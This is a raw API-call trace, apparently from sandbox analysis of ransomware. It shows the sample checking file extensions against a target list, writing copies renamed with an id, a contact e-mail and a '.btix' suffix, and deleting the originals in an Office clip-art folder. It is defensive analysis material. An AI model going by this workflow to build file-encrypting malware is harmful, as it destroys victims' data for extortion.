lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0150.486] lstrlenW (lpString=".zip") returned 4 [0150.486] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0150.486] lstrlenW (lpString=".rar") returned 4 [0150.486] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0150.486] lstrlenW (lpString=".bz2") returned 4 [0150.486] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0150.486] lstrlenW (lpString=".7z") returned 3 [0150.486] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0150.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0150.487] lstrlenW (lpString=".dbf") returned 4 [0150.487] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0150.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0150.487] lstrlenW (lpString=".1cd") returned 4 [0150.487] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0150.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0150.487] lstrlenW (lpString=".jpg") returned 4 [0150.487] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0150.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0150.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0150.487] lstrlenW (lpString=".doc") returned 4 [0150.487] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0150.487] lstrlenW (lpString=".docx") returned 5 [0150.487] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0150.487] lstrlenW (lpString=".pdf") returned 4 [0150.487] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0150.487] lstrlenW (lpString=".xls") returned 4 [0150.487] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0150.487] lstrlenW (lpString=".xlsx") returned 5 [0150.487] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0150.487] lstrlenW (lpString=".ppt") returned 4 [0150.487] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0150.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0150.487] lstrlenW (lpString=".zip") returned 4 [0150.487] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0150.487] lstrlenW (lpString=".rar") returned 4 [0150.487] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0150.487] lstrlenW (lpString=".bz2") returned 4 [0150.488] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0150.488] lstrlenW (lpString=".7z") returned 3 [0150.488] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0150.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0150.488] lstrlenW (lpString=".dbf") returned 4 [0150.488] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0150.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0150.488] lstrlenW (lpString=".1cd") returned 4 [0150.488] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0150.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0150.488] lstrlenW (lpString=".jpg") returned 4 [0150.488] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0150.488] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0150.488] lstrlenW (lpString="J0099189.JPG") returned 12 [0150.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0150.488] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=8076) returned 1 [0150.488] CloseHandle (hObject=0x38c) returned 1 [0150.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 0x220 [0150.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0150.489] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.489] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0150.489] GetLastError () returned 0x0 [0150.489] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x1f8c, lpOverlapped=0x0) returned 1 [0150.490] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x1f90, lpOverlapped=0x0) returned 1 [0150.491] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.491] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.492] SetEndOfFile (hFile=0x390) returned 1 [0150.492] CloseHandle (hObject=0x390) returned 1 [0150.492] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.492] SetEndOfFile (hFile=0x38c) returned 1 [0150.493] CloseHandle (hObject=0x38c) returned 1 [0150.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0150.493] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 1 [0150.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0150.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0150.493] lstrlenW (lpString=".doc") returned 4 [0150.493] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0150.493] lstrlenW (lpString=".docx") returned 5 [0150.493] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0150.493] lstrlenW (lpString=".pdf") returned 4 [0150.493] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0150.493] lstrlenW (lpString=".xls") returned 4 [0150.493] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0150.493] lstrlenW (lpString=".xlsx") returned 5 [0150.493] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0150.493] lstrlenW (lpString=".ppt") returned 4 [0150.493] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0150.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0150.493] lstrlenW (lpString=".zip") returned 4 [0150.493] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0150.494] lstrlenW (lpString=".rar") returned 4 [0150.494] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0150.494] lstrlenW (lpString=".bz2") returned 4 [0150.494] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0150.494] lstrlenW (lpString=".7z") returned 3 [0150.494] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0150.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0150.494] lstrlenW (lpString=".dbf") returned 4 [0150.494] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0150.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0150.494] lstrlenW (lpString=".1cd") returned 4 [0150.494] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0150.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0150.494] lstrlenW (lpString=".jpg") returned 4 [0150.494] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0150.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0150.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0150.494] lstrlenW (lpString=".doc") returned 4 [0150.494] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0150.494] lstrlenW (lpString=".docx") returned 5 [0150.494] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0150.494] lstrlenW (lpString=".pdf") returned 4 [0150.494] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0150.494] lstrlenW (lpString=".xls") returned 4 [0150.494] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0150.494] lstrlenW (lpString=".xlsx") returned 5 [0150.494] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0150.494] lstrlenW (lpString=".ppt") returned 4 [0150.494] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0150.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0150.494] lstrlenW (lpString=".zip") returned 4 [0150.494] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0150.494] lstrlenW (lpString=".rar") returned 4 [0150.494] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0150.495] lstrlenW (lpString=".bz2") returned 4 [0150.495] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0150.495] lstrlenW (lpString=".7z") returned 3 [0150.495] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0150.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0150.495] lstrlenW (lpString=".dbf") returned 4 [0150.495] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0150.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0150.495] lstrlenW (lpString=".1cd") returned 4 [0150.495] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0150.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0150.495] lstrlenW (lpString=".jpg") returned 4 [0150.495] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0150.495] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0150.495] lstrlenW (lpString="J0099190.JPG") returned 12 [0150.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0150.495] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=43892) returned 1 [0150.495] CloseHandle (hObject=0x38c) returned 1 [0150.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 0x220 [0150.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0150.496] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.496] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0150.496] GetLastError () returned 0x0 [0150.496] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0xab74, lpOverlapped=0x0) returned 1 [0150.497] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xab80, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xab80, lpOverlapped=0x0) returned 1 [0150.499] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.499] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.499] SetEndOfFile (hFile=0x390) returned 1 [0150.499] CloseHandle (hObject=0x390) returned 1 [0150.499] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.499] SetEndOfFile (hFile=0x38c) returned 1 [0150.500] CloseHandle (hObject=0x38c) returned 1 [0150.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0150.500] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 1 [0150.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0150.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0150.501] lstrlenW (lpString=".doc") returned 4 [0150.501] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0150.501] lstrlenW (lpString=".docx") returned 5 [0150.501] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0150.501] lstrlenW (lpString=".pdf") returned 4 [0150.501] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0150.501] lstrlenW (lpString=".xls") returned 4 [0150.501] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0150.501] lstrlenW (lpString=".xlsx") returned 5 [0150.501] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0150.501] lstrlenW (lpString=".ppt") returned 4 [0150.501] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0150.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0150.501] lstrlenW (lpString=".zip") returned 4 [0150.501] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0150.501] lstrlenW (lpString=".rar") returned 4 [0150.501] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0150.501] lstrlenW (lpString=".bz2") returned 4 [0150.501] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0150.501] lstrlenW (lpString=".7z") returned 3 [0150.501] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0150.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0150.501] lstrlenW (lpString=".dbf") returned 4 [0150.501] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0150.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0150.501] lstrlenW (lpString=".1cd") returned 4 [0150.501] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0150.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0150.501] lstrlenW (lpString=".jpg") returned 4 [0150.501] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0150.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0150.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0150.501] lstrlenW (lpString=".doc") returned 4 [0150.501] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0150.502] lstrlenW (lpString=".docx") returned 5 [0150.502] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0150.502] lstrlenW (lpString=".pdf") returned 4 [0150.502] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0150.502] lstrlenW (lpString=".xls") returned 4 [0150.502] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0150.502] lstrlenW (lpString=".xlsx") returned 5 [0150.502] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0150.502] lstrlenW (lpString=".ppt") returned 4 [0150.502] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0150.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0150.502] lstrlenW (lpString=".zip") returned 4 [0150.502] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0150.502] lstrlenW (lpString=".rar") returned 4 [0150.502] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0150.502] lstrlenW (lpString=".bz2") returned 4 [0150.502] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0150.502] lstrlenW (lpString=".7z") returned 3 [0150.502] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0150.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0150.502] lstrlenW (lpString=".dbf") returned 4 [0150.502] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0150.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0150.502] lstrlenW (lpString=".1cd") returned 4 [0150.502] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0150.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0150.502] lstrlenW (lpString=".jpg") returned 4 [0150.502] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0150.502] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0150.502] lstrlenW (lpString="J0099191.JPG") returned 12 [0150.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0150.503] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=62367) returned 1 [0150.503] CloseHandle (hObject=0x38c) returned 1 [0150.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 0x220 [0150.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0150.503] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.503] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0150.504] GetLastError () returned 0x0 [0150.504] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0xf39f, lpOverlapped=0x0) returned 1 [0150.791] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xf3a0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xf3a0, lpOverlapped=0x0) returned 1 [0151.129] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.129] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.129] SetEndOfFile (hFile=0x390) returned 1 [0151.129] CloseHandle (hObject=0x390) returned 1 [0151.129] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.129] SetEndOfFile (hFile=0x38c) returned 1 [0151.130] CloseHandle (hObject=0x38c) returned 1 [0151.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.130] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 1 [0151.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0151.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0151.131] lstrlenW (lpString=".doc") returned 4 [0151.131] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0151.131] lstrlenW (lpString=".docx") returned 5 [0151.131] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0151.131] lstrlenW (lpString=".pdf") returned 4 [0151.131] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0151.131] lstrlenW (lpString=".xls") returned 4 [0151.131] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0151.131] lstrlenW (lpString=".xlsx") returned 5 [0151.131] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0151.131] lstrlenW (lpString=".ppt") returned 4 [0151.131] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0151.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0151.131] lstrlenW (lpString=".zip") returned 4 [0151.131] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0151.131] lstrlenW (lpString=".rar") returned 4 [0151.131] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0151.131] lstrlenW (lpString=".bz2") returned 4 [0151.131] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0151.131] lstrlenW (lpString=".7z") returned 3 [0151.131] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0151.131] lstrlenW (lpString="C:\\Program Files\\Microsoft 